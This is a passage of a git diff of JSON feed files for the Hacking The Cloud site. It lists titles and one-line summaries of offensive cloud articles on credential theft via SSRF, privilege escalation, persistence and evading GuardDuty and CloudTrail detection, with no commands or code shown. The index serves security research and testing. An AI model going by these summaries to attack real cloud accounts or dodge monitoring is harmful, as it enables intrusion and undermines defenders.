"https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "url": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "title": "Privilege Escalation in Google Cloud Platform", "content_html": "Privilege escalation techniques for Google Cloud Platform (GCP)", "image": "https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png", "date_published": "2022-08-24T12:25:09+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "title": "Enumerate Service Account Permissions", "content_html": "Brute force the permissions of a service account to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png", "date_published": "2022-08-23T14:34:53+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "url": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "title": "Terraform ANSI Escape", "content_html": "Using ANSI Escape Sequences to Hide Malicious Terraform Code", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png", "date_published": "2022-07-09T00:02:47+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "url": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "title": "Default Account Information", "content_html": "Default information on how accounts and service accounts exist in GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png", "date_published": "2022-05-29T13:26:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "url": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "title": "Security and Constraints", "content_html": "Security considerations and constraints that are unique to GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png", "date_published": "2022-05-29T13:26:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "url": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "title": "Using Stolen IAM Credentials", "content_html": "How to work with stolen IAM credentials and things to consider.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png", "date_published": "2022-05-14T21:51:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "url": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "title": "Run Shell Commands on EC2 with Send Command or Session Manager", "content_html": "Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png", "date_published": "2022-04-11T23:11:43+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/abusing-managed-identities/", "url": "https://hackingthe.cloud/azure/abusing-managed-identities/", "title": "Abusing Managed Identities", "content_html": "Abusing Managed Identities", "image": "https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png", "date_published": "2022-03-27T16:57:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/anonymous-blob-access/", "url": "https://hackingthe.cloud/azure/anonymous-blob-access/", "title": "Anonymous Blob Access", "content_html": "Finding and accessing files stored in Azure Storage Accounts without authentication.", "image": "https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png", "date_published": "2022-03-19T16:57:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "url": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "title": "Soft Deleted Blobs", "content_html": "Recovering and accessing files in private Storage Accounts that have been deleted.", "image": "https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png", "date_published": "2022-03-17T14:35:54+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "title": "AWS API Call Hijacking via ACM-PCA", "content_html": "By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png", "date_published": "2022-03-13T23:45:47+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "url": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "title": "CI/CDon't", "content_html": "An AWS/GitLab CICD themed CTF.", "image": "https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png", "date_published": "2022-03-05T04:00:57+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "title": "Enumerate AWS Account ID from an EC2 Instance", "content_html": "With access to an ec2 instance, you will be able to identify the AWS account it runs in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png", "date_published": "2022-02-27T22:50:13+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/whoami/", "url": "https://hackingthe.cloud/aws/deprecated/whoami/", "title": "[Deprecated] Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png", "date_published": "2022-02-09T04:00:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "url": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "title": "Modify GuardDuty Configuration", "content_html": "Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png", "date_published": "2022-01-30T10:32:26+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "url": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "title": "Terraform Enterprise: Attack the Metadata Service", "content_html": "Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png", "date_published": "2021-12-23T21:59:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/", "url": "https://hackingthe.cloud/", "title": "Hacking The Cloud", "content_html": "The encyclopedia for offensive security in the cloud", "image": "https://hackingthe.cloud/assets/images/social/index.png", "date_published": "2021-11-30T05:00:09+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "title": "AWS IAM Privilege Escalation Techniques", "content_html": "Common techniques that can be leveraged to escalate privileges in an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png", "date_published": "2021-11-04T21:03:24+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "url": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "title": "Metadata in Google Cloud Instances", "content_html": "Information about the data an attacker can access via GCP's API endpoints", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png", "date_published": "2021-10-24T17:41:56+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "title": "Lambda Persistence", "content_html": "How to establish persistence on a Lambda function after getting remote code execution.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png", "date_published": "2021-09-16T15:02:21+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "url": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "title": "Get IAM Credentials from a Console Session", "content_html": "Convert access to the AWS Console into IAM credentials.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png", "date_published": "2021-07-14T20:46:17+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "url": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "title": "[Deprecated] Enumerate Permissions without Logging to CloudTrail", "content_html": "Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png", "date_published": "2021-05-18T19:13:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "title": "S3 File ACL Persistence", "content_html": "Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png", "date_published": "2021-04-13T02:53:30+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "title": "Enumerate AWS Account ID from a Public S3 Bucket", "content_html": "Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png", "date_published": "2021-04-03T01:39:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "title": "Bypass GuardDuty Tor Client Findings", "content_html": "Connect to the Tor network from an EC2 instance without alerting GuardDuty.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png", "date_published": "2021-02-20T04:07:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "url": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "title": "Intercept SSM Communications", "content_html": "With access to an EC2 instance you can intercept, modify, and spoof SSM communications.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png", "date_published": "2021-02-06T17:17:59+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "url": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "title": "Role Chain Juggling", "content_html": "Keep your access by chaining assume-role calls.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png", "date_published": "2021-02-03T03:20:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "title": "User Data Script Persistence", "content_html": "Maintain access to an EC2 instance and it's IAM role via user data scripts.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png", "date_published": "2021-02-03T03:20:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "url": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "title": "Introduction to the Instance Metadata Service", "content_html": "An introduction to the Instance Metadata Service and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png", "date_published": "2020-12-20T20:10:43+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "url": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "title": "Introduction to User Data", "content_html": "An introduction to EC2 User Data and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png", "date_published": "2020-12-20T20:10:43+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "url": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "title": "Brute Force IAM Permissions", "content_html": "Brute force the IAM permissions of a user or role to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png", "date_published": "2020-12-20T18:58:26+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "url": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "title": "Get Account ID from AWS Access Keys", "content_html": "Techniques to enumerate the account ID associated with an AWS access key.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png", "date_published": "2020-09-27T16:06:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/whoami/", "url": "https://hackingthe.cloud/aws/enumeration/whoami/", "title": "Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png", "date_published": "2020-08-21T17:00:02+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "url": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "title": "Steal IAM Credentials and Event Data from Lambda", "content_html": "Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png", "date_published": "2020-08-12T23:15:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "url": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "title": "Unauthenticated Enumeration of IAM Users and Roles", "content_html": "Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png", "date_published": "2020-08-05T14:32:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "url": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "title": "Steal EC2 Metadata Credentials via SSRF", "content_html": "Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png", "date_published": "2020-08-01T17:43:14+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "url": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "title": "Connection Tracking", "content_html": "Abuse security group connection tracking to maintain persistence even when security group rules are changed.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png", "date_published": "2020-07-30T23:28:52+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "url": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "title": "IAM unique identifiers", "content_html": "Chart of the IAM unique ID prefixes.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png", "date_published": "2020-07-27T19:47:46+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "title": "Bypass GuardDuty Pentest Findings for the AWS CLI", "content_html": "Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png", "date_published": "2020-07-22T02:58:24+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "url": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "title": "Bypass Credential Exfiltration Detection", "content_html": "When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png", "date_published": "2020-07-22T02:58:24+00:00", "authors": [], "tags": null}]}
\ No newline at end of file
diff --git a/feed_json_updated.json b/feed_json_updated.json
index d749ad5dd..6739f27e4 100644
--- a/feed_json_updated.json
+++ b/feed_json_updated.json
@@ -1 +1 @@
-{"version": "https://jsonfeed.org/version/1", "title": "Hacking The Cloud", "home_page_url": "https://hackingthe.cloud/", "feed_url": "https://hackingthe.cloud/feed_json_updated.json", "description": "The encyclopedia for offensive security in the cloud.", "icon": null, "authors": [], "language": "en", "items": [{"id": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "url": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "title": "[Deprecated] Enumerate Permissions without Logging to CloudTrail", "content_html": "Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "title": "Enumerate AWS Account ID from a Public S3 Bucket", "content_html": "Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "url": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "title": "Unauthenticated Enumeration of IAM Users and Roles", "content_html": "Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "title": "Derive a Principal ARN from an AWS Unique Identifier", "content_html": "How to convert an unique identifier to a principal ARN.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "title": "AWS IAM Privilege Escalation Techniques", "content_html": "Common techniques that can be leveraged to escalate privileges in an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "title": "CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios", "content_html": "An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "url": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "title": "Prevent Expensive AWS API Actions with SCPs", "content_html": "Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "url": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "title": "Connection Tracking", "content_html": "Abuse security group connection tracking to maintain persistence even when security group rules are changed.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "url": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "title": "Get IAM Credentials from a Console Session", "content_html": "Convert access to the AWS Console into IAM credentials.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "url": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "title": "Intercept SSM Communications", "content_html": "With access to an EC2 instance you can intercept, modify, and spoof SSM communications.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "title": "Bypass GuardDuty Pentest Findings for the AWS CLI", "content_html": "Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png", "date_modified": "2024-11-12T03:00:45+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/", "title": "AWS CLI Tips and Tricks", "content_html": "A collection of tips and tricks for using the AWS CLI.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_cli_tips_and_tricks.png", "date_modified": "2024-11-04T03:15:10+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "url": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "title": "DNS and CloudFront Domain Takeover via Deleted S3 Buckets", "content_html": "How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png", "date_modified": "2024-10-30T21:58:21+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/run-command-abuse/", "url": "https://hackingthe.cloud/azure/run-command-abuse/", "title": "Run Command Abuse", "content_html": "Utilise Azure RunCommands for execution and lateral movement.", "image": "https://hackingthe.cloud/assets/images/social/azure/run-command-abuse.png", "date_modified": "2024-10-05T05:04:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/", "title": "Exploiting Misconfigured GitLab OIDC AWS IAM Roles", "content_html": "Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles.png", "date_modified": "2024-09-01T22:56:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "url": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "title": "Steal IAM Credentials and Event Data from Lambda", "content_html": "Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png", "date_modified": "2024-08-20T01:29:51+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "title": "Abusing Misconfigured Role Trust Policies with a Wildcard Principal", "content_html": "How to take advantage of misconfigured role trust policies that have wildcard principals.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png", "date_modified": "2024-08-04T21:24:46+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "title": "Enumerate Org/Folder/Project Permissions + Individual Resource Permissions", "content_html": "Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png", "date_modified": "2024-07-14T21:50:00+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/abusing-managed-identities/", "url": "https://hackingthe.cloud/azure/abusing-managed-identities/", "title": "Abusing Managed Identities", "content_html": "Abusing Managed Identities", "image": "https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png", "date_modified": "2024-06-15T06:21:29+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "url": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "title": "Discover secrets in public AMIs", "content_html": "How to find public AMIs and get stored secrets.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png", "date_modified": "2024-05-29T03:08:56+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "title": "Enumerate Root User Email Address from the AWS Console", "content_html": "Identify if an email address belongs to the root user of an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png", "date_modified": "2024-05-21T20:10:23+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "title": "AWS Organizations Defaults & Pivoting", "content_html": "How to abuse AWS Organizations' default behavior and lateral movement capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png", "date_modified": "2024-03-07T02:17:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/anonymous-blob-access/", "url": "https://hackingthe.cloud/azure/anonymous-blob-access/", "title": "Anonymous Blob Access", "content_html": "Finding and accessing files stored in Azure Storage Accounts without authentication.", "image": "https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png", "date_modified": "2024-03-07T02:17:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "url": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "title": "Soft Deleted Blobs", "content_html": "Recovering and accessing files in private Storage Accounts that have been deleted.", "image": "https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png", "date_modified": "2024-03-07T02:17:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/", "url": "https://hackingthe.cloud/", "title": "Hacking The Cloud", "content_html": "The encyclopedia for offensive security in the cloud", "image": "https://hackingthe.cloud/assets/images/social/index.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "url": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "title": "CI/CDon't", "content_html": "An AWS/GitLab CICD themed CTF.", "image": "https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "url": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "title": "Loot Public EBS Snapshots", "content_html": "How to find and take advantage of exposed EBS snapshots.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "url": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "title": "Abusing Elastic Container Registry for Lateral Movement", "content_html": "With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "url": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "title": "Steal EC2 Metadata Credentials via SSRF", "content_html": "Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.", "image": 